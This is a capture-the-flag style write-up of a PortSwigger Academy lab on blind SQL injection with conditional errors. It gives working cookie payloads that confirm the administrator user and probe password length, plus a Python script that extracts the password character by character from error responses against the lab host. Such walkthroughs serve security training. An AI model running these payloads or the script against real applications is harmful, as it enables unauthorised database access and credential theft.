Portswigger - Blind SQL injection with conditional errors

Lab 12 regarding the SQL Injection vulnerability from PortSwigger.

Basically, the issue with the application lies in the cookie, more specifically in the TrackingId field, which is a tracking cookie used for Analytics. In the challenge description itself, some information regarding the database is provided. It is known that there is a table called "users" with columns for username and password. By performing manual tests on the application, it was possible to achieve a boolean-based validation for the "administrator" user.

' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '--

The cheat-sheet from PortSwigger itself was used as a source to reach the conclusion of the boolean-based validation and the entire process of exploitation.

Cheatsheet SQL Injection by Portswigger

Validating User

validate user

After performing the user validation, it was necessary to validate the size of the administrator's password to proceed with the extraction.

Validating Password Length

validate pass length

' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND LENGTH(password)>=21) || '--
  • If it returns an error, it implies that the information is true in the database.
  • If it returns 200, it implies that the information is false in the database.

Exploit

Well, after validating the "administrator" user, the size of their password was checked. If the password is greater than or equal to 20, it returns an error, meaning it's true. However, if the password is greater than or equal to 21, it returns 200, indicating it's false. Therefore, the administrator's password has 20 characters, and we can start the extraction. To extract the password, it will be necessary to do it character by character. There are several ways to automate the process, one of which is using the Intruder tool in Burp Suite. However, in this case, a simple Python script was used to extract the password.


import string
import requests

def exploit(url, TrackingId):

    values = string.ascii_lowercase + string.digits
    passw = ''
    for i in range(1, 21):
        for j in range(len(values)):
            payload = f"' ||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator' AND SUBSTR(password,{i}, 1)='{values[j]}') || '--"
            cookie = {'Cookie':TrackingId + payload}
            request = requests.get(url, headers=cookie)
            print("[*]Finding Password: "+values[j], end='\r')
            if(request.status_code == 500):
                passw += values[j]   
                print("[*]Finding Password: "+passw)
                break

    print("[*]Password Found: "+passw)

def main():

    url = 'https://0a7a0093034dcc4dc02638e40079008d.web-security-academy.net/'
    TrackingId = 'TrackingId=bAzfrSsqiFgA7gnw'

    exploit(url, TrackingId)

if __name__ == "__main__":
    main()

Using the script, it was possible to extract the administrator's password and complete the lab.

Brute pass

Logging in with the username and password...

  • User: administrator
  • Password: 404ukyz9a06o3vgi397h

pwned